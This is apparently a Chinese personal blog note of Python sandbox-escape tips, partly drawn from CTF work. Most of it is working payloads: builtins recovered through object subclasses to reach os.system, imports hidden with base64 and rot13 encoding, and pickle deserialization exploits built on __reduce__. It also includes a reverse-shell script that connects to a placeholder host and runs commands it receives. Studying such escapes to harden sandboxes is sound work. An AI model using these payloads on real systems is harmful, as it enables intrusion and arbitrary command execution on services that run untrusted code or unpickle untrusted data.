python sandbox bypass tips

  1. 内置模块
  • __builtin__在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀,其原因是对函数、变量、类等标识符的查找是按LE(N)GB法 则,其中B即代表内建模块。比如:内建模块中有一个abs()函数,其功能是计算一个数的绝对值,如abs(-20)将返回20。其中python2.x中是builtin,python3.x中更名为builtins当使用内建模块中函数或其它功能时,可以直接使用,不用添加内建模块的名字;但是,如果想要向内建模块中添加一些功能,以便在任何函数中都能直接使用而不 用再进行import,这时,就要导入内建模块,在内建模块的命名空间(即dict字典属性)中添加该功能。在导入时,如果是Python2.X 版本,就要导入__builtin__模块;如果是Python3.X版本,就要导入builtins模块

    那么其中__builtin____builtins__的区别呢?

    无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见

    但当不在主模块__mian__中时,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时builtins的类型是字典。而当在主模块__mian__中时,两者是完全等价,所以在使用__builtins__,只要注意其引用的到底是__builtin__还是__builtin__.__dict__即可。

__builtins__ = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
  • __builtin__中本身就含有很多危险函数,如open()可以读取任意文件(权限足够),同样的还有eval(),input()等。当然也可以直接使用内置函数导入一些危险模块:
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('id')

TIM截图20171026155023

所以可以通过删除内置函数中的一些危险函数,作为一个基础的py沙盒环境。

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input']

也有极端的删除所有内置功能:

for x in __builtins__.__dict__.keys():
    del __builtins__.__dict__[x]

但如果reload()并没有被del,那我们可以通过reload(__builtin__),重新获得一个完整的__builtin__
但当reload()被del了,我们同样可以通过imp模块获得完整的__builtin__:

import imp
imp.reload(__builtin__)

同样如下的一些常用的内置模块的一些函数也可以达到命令执行的效果,在这次我校的ctf中我也用如下姿势出了一个题目:

  • platform.popen('id', mode='r', bufsize=-1).read()
  • print timeit.timeit('__import__("os").system("id")',number=1)

2. [].__class__.__base__.__subclasses__()
为什么这样个魔术方法可以加载所有的模块呢?

我们这里定义的一个列表'[]’,通过__class___获取该对象的类,可以看到列表的类是list。

U_<code>9</code>T{}9NQOILW35@O163

我们继续往上,通过__base__访问类库,可以看到list是object类的一个子类。

TIM截图20171025201239

同样我们也可以通过mro方法来代替__base__
python允许多重继承,也就是有多个父类,而mro方法就是这个类型所继承的父类的列表。

TIM截图20171027192916

到了这里我们相当于获取到了python中最大的父类的访问权。那么我们就可以利用__subclasses__()访问到object类的所有子类

TIM截图20171025201828

接下来我们就可以通过索引访问到对应的子类,利用这些子类加载过的模块来达到我们的目的。比如file可以用来读取文件.

再比如如下的payload:
linecache这个模块可以访问到os模块,这样我们就可以在不利用import导入os模块用它来执行命令(不同的环境可能有所差异,我们也可以通过循环遍历找到我们需要的模块)

print [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('id')

3. cPickle反序列

    • 简单的反序列化payload:
import cPickle
print cPickle.loads("cos\nsystem\n(S'time sleep 1'\ntR.")
    • 任意命令构造exp
import os
import cPickle

# Exploit that we want the target to unpickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

def serialize_exploit():
    shellcode = cPickle.dumps(Exploit())
    return shellcode

def insecure_deserialize(exploit_code):
    cPickle.loads(exploit_code)

if __name__ == '__main__':
    shellcode = serialize_exploit()
    print shellcode

4. 如果沙盒匹配一些关键字,可以利用替代的方法或者相同功能没有被ban的函数替代.如os模块中的popen函数,则可以利用popen3替代。反弹shell exp如下:

import socket
from os import popen3

s = socket.socket()
s.connect(('xx.xx.xx.xx', 12345))

for i in range(10000):
    ans = popen3(s.recv(1024))
    s.send(ans[1].read() + ans[2].read())

同样我们也可以对关键字做一些编码处理,字符串顺序交换或者拆分处理等:

TIM截图20171026125142

TIM截图20171026125249

5.导入模块的方式。

  • 最直接的import.
  • 内置函数 import
  • importlib库

以commands模块为列:

import importlib
f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
print f3ck.getoutput('ifconfig')

6.python魔法总结

type() == ''.__class__.__class__()

7.pickle反序列化任意命令执行

序列化代码如下:

import os
import base64
import pickle
class CMD(object):
    def __reduce__(self):
        return (os.system, ('whoami', ))
print(base64.b64encode(pickle.dumps(CMD())))

1). 其中__reduce__()魔法函数是为了在对其实例进行反序列化的时候,pickle能通过 __reduce__()函数去寻找正确的重新类实例化过程,不然会反序列化失败。这个方法会在反序列化类重构的时候自动调用。
2). base64输出的原因是:pickle反序列化之后的结果是二进制文件,直接输出可能造成字符丢失,所以用base64编码后防止丢失。

反序列化代码:

import sys
import base64
import pickle
print(pickle.loads(base64.b64decode(sys.argv[1])))

参考连接

以上tips部分来自网上收集整理,作为个人笔记方便查阅,参考连接就不一一给出了。后续发现新的tips会继续更新。

python sandbox bypass tips》有2个想法

发表评论

电子邮件地址不会被公开。 必填项已用*标注